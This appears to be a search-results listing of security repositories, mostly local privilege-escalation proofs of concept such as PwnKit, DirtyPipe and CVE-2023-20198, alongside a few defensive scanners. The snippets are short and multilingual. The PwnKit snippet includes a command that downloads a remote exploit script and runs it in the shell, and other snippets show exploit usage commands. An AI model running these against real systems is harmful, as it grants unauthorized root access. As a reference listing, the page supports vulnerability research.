289281 matches found
CVE-2023-20198
CVE-2023-20198 CVE-2023-20198 PoC ! 설명Description 대상 웹 서버에서 작업을 수행합니다. 이 스크립트는 로컬 사용자 계정 생성, 임플란트 설치, 웹 서버 재시작, 임플란트 존재 여부 확인, 마지막으로 생성한 사용자 계정 삭제를 통한 정리 방법을 보여줍니다. 면책 조항Disclaimer: 이 스크립트는 교육 목적으로만 제작되었습니다. 이 스크립트의 무단 사용은 엄격히 금지됩니다. 사용에 따른 책임은 본인에게 있습니다. 요구 사항Requirements Python 3.x Requests 라이브...
duckdb
Jepsen DuckDB Test Jepsen tests for the DucKDB database. Runs locally, rather than on a remote cluster. The test spawns a collection of local processes which open a DuckDB file locally, and interacts with them over STDIN/STDOUT. This is an early prototype. It turns on, runs transactions, checks...
CVE-2021-4034
CVE-2021-4034 これは、Qualys Security Team によって発見された PwnKit ローカル権限昇格の脆弱性 の PoC です。 Qualys Research Team は、polkit の pkexec におけるメモリ破損の脆弱性を発見しました。pkexec は、主要なすべての Linux ディストリビューションにデフォルトでインストールされている SUID-root プログラムです。 概念実証 次の画像は、Debian ベースのオペレーティングシステムでペイロードが動作している様子を示しています 使用方法 2つの PoC...
CVE-2021-1732
CVE-2021-1732 CVE-2021-1732 Microsoft Windows 10 로컬 권한 상승 취약점 연구 및 Poc/Exploit 개발 영향받는 시스템 및 애플리케이션 버전 Windows Server, version 20H2 Server Core Installation Windows 10 Version 20H2 for ARM64based Systems Windows 10 Version 20H2 for 32bit Systems Windows 10 Version 20H2 for x64based Systems...
CVE-2026-45258_1day_LPE_exploit
이 저장소에는 README가 없습니다...
analyzer
This project automates the daily tasks of Threat Intelligence Analyzer role internally without external resources' interaction. It analyzes, visualizes and structures sensitive files Malware or data by extracting features, artifacts and IoC using different modules. The output of those modules can...
sast-scan
Introduction ███████╗ ██████╗ █████╗ ███╗ ██╗ ██╔════╝██╔════╝██╔══██╗████╗ ██║ ███████╗██║ ███████║██╔██╗ ██║ ╚════██║██║ ██╔══██║██║╚██╗██║ ███████║╚██████╗██║ ██║██║ ╚████║ ╚══════╝ ╚═════╝╚═╝ ╚═╝╚═╝ ╚═══╝ Scan is a free open-source security tool for modern DevOps teams. With an integrated...
dirtypipez-exploit
CVE-2022-0847 DirtyPipe Exploit. 크레딧: Max Kellermann [email protected] 'Dirty Pipe'로 알려진 새로운 Linux 취약점으로 인해 로컬 사용자가 공개된 익스플로잇을 통해 루트 권한을 얻을 수 있습니다. 오늘, 보안 연구원 Max Kellermann이 'Dirty Pipe' 취약점을 책임감 있게 공개했으며, 이 취약점이 Linux Kernel 5.8 이상 버전Android 기기 포함에 영향을 미친다고 밝혔습니다. 이 취약점은 CVE-2022-0847로 추적되...
INPGer
INPGer | CVE-2022-4063 - InPost Gallery CVE-2022-4063 - InPost Gallery install.sh sha1sum install.sh | grep 12345678 md5sum install.sh sha512sum install.sh bash install.sh 사용 방법 bash inpger.sh yourlist.txt thread 참고 https://vulners.com/cve/CVE-2022-4063...
CVE-2019-6225-macOS
CVE-2019-6225 macOS ≤ 10.14.2에서 CVE-2019-6225를 통한 로컬 권한 상승 다른 기기에서는 아직 테스트되지 않았으며, 일부 하드코딩된 값이 정확하지 않을 수 있습니다. SMAP이 활성화된 기기에서는 작동하지 않습니다. 첫 번째 실행 결과와 관계없이 두 번째 실행 시 시스템이 충돌합니다. 대부분의 코드는 PsychoTea/machswap을 기반으로 합니다. 특별 감사: @bazad, @S0rryMyBad - 버그 발견 @S1guza - 도움 @PsychoTea - 코드 및 훌륭한 분석...
ship-safe
The independent security agent for AI-written software. It finds issues, investigates whether they are real, and shows you the evidence. Website · Docs · Security & Data Flow · Benchmark · Pricing · Blog · Contribute Ship Safe CLI Ship Safe runs locally in your repo and works in two layers. A...
CVE-2023-0179-PoC
Needle CVE-2023-0179 익스플로잇 이 저장소는 nftables 서브시스템에서 최근 발견된 취약점CVE-2023-0179로 할당됨에 대한 익스플로잇을 포함하고 있습니다. 이 취약점은 Linux 5.5부터 6.2-rc3까지의 모든 버전에 영향을 미치며, 익스플로잇은 6.1.6에서 테스트되었습니다. 취약점 세부 사항과 분석은 oss-security에서 확인할 수 있습니다. 빌드 방법 해당 실행 파일을 생성하려면 make needle 명령어를 실행하기만 하면 됩니다. libmnl 및 libnftnl이 빌드에 필요합니다:...
CVE-2025-60710
CVE-2025-60710 이것은 \Microsoft\Windows\WindowsAI\Recall\PolicyConfiguration 예약 작업의 로컬 권한 상승 취약점에 대한 PoC입니다. 이 예약 작업이 시작되면 taskhostw.exe 프로세스가 C:\Users%username%\AppData\Local\CoreAIPlatform.00\UKP 디렉터리를 열고 다음 필터를 사용하여 디렉터리를 검색합니다: ????????-????-????-????-????????????. 해당 디렉터리가 발견되면 심볼릭 링크를 확인하지 않고...
kernel-exploits
리눅스 커널 익스플로잇 날짜| 링크| 설명| 벡터| 영향 ---|---|---|---|--- 02.2016| CVE-2016-2384| USB MIDI 드라이버의 Double-free| USB + 로컬| 로컬 권한 상승 03.2016| prefetch-side-channel| prefetch를 통한 KASLR 우회| 로컬| 정보 유출 12.2016| CVE-2016-9793| 소켓 버퍼의 부호signedness 문제| 로컬 + capnetadmin| 로컬 권한 상승 02.2017| CVE-2017-6074| DCCP 소켓의...
mach_race
Mach Race OS X Local Privilege Escalation Exploit c fG! 2015, 2016, [email protected] - https://reverse.put.as SUID, SIP 및 바이너리 entitlements 범용 OS X 익스플로잇 CVE-2016-1757. SUID 바이너리 사용법: ./machraceserver /bin/ps compatmode for i in seq 0 1000000; do ./machraceclient /bin/ps; done SIP 우회를 위해...
PwnKit
PwnKit CVE-2021-4034를 위한 자체 포함 익스플로잇 - Pkexec 로컬 권한 상승 사용법 취약한 Ubuntu, Debian, Fedora, CentOS 기반 Linux 배포판에서 바로 작동합니다. sh -c "$curl -fsSL https://raw.githubusercontent.com/ly4k/PwnKit/main/PwnKit.sh" 수동 사용법 curl -fsSL https://raw.githubusercontent.com/ly4k/PwnKit/main/PwnKit -o PwnKit chmod +x...
CVE-2019-1064
CVE-2019-1064 CVE-2019-1064 - AppXSVC 로컬 권한 상승 예상대로 수정되지 않았을 수도 있는 것으로 보입니다. PoC는 일시적으로 사용할 수 없습니다...
PwnKit-Exploit
PwnKit-Exploit CVE-2021-4034 @c0br40x help to make this section in README!! Proof of Concept debian@debian:/PwnKit-Exploit$ make cc -Wall exploit.c -o exploit debian@debian:/PwnKit-Exploit$ whoami debian debian@debian:/PwnKit-Exploit$ ./exploit Current User before execute exploit...
cve-search
cve-search cve-search는 CVECommon Vulnerabilities and Exposures와 CPECommon Platform Enumeration를 MongoDB로 가져와 CVE 검색 및 처리를 용이하게 하는 도구입니다. 이 소프트웨어의 주요 목적은 공개 CVE 데이터베이스에 직접적이고 공개적인 조회를 수행하지 않도록 하는 것입니다. 로컬 조회는 일반적으로 더 빠르며, 인터넷을 통한 민감한 쿼리를 제한할 수 있습니다. cve-search는 취약점 및 관련 정보를 저장하는 백엔드, 취약점 검색 및 관리를 ...
CVE-2021-42205
CVE-2021-42205 여러 제조업체의 PC 하드웨어에서 사용되는 24.21.51.2 이전의 ELAN Miniport 터치패드 Windows 드라이버는 특정 IOCTL 요청을 전송하여 로컬 사용자가 시스템 충돌을 일으킬 수 있습니다. 해당 요청이 두 번 처리되기 때문입니다. authentication| complexity| vector ---|---|--- 사용할 수 없음| 사용할 수 없음| 사용할 수 없음 confidentiality| integrity| availability ---|---|--- 사용할 수 없음| 사용...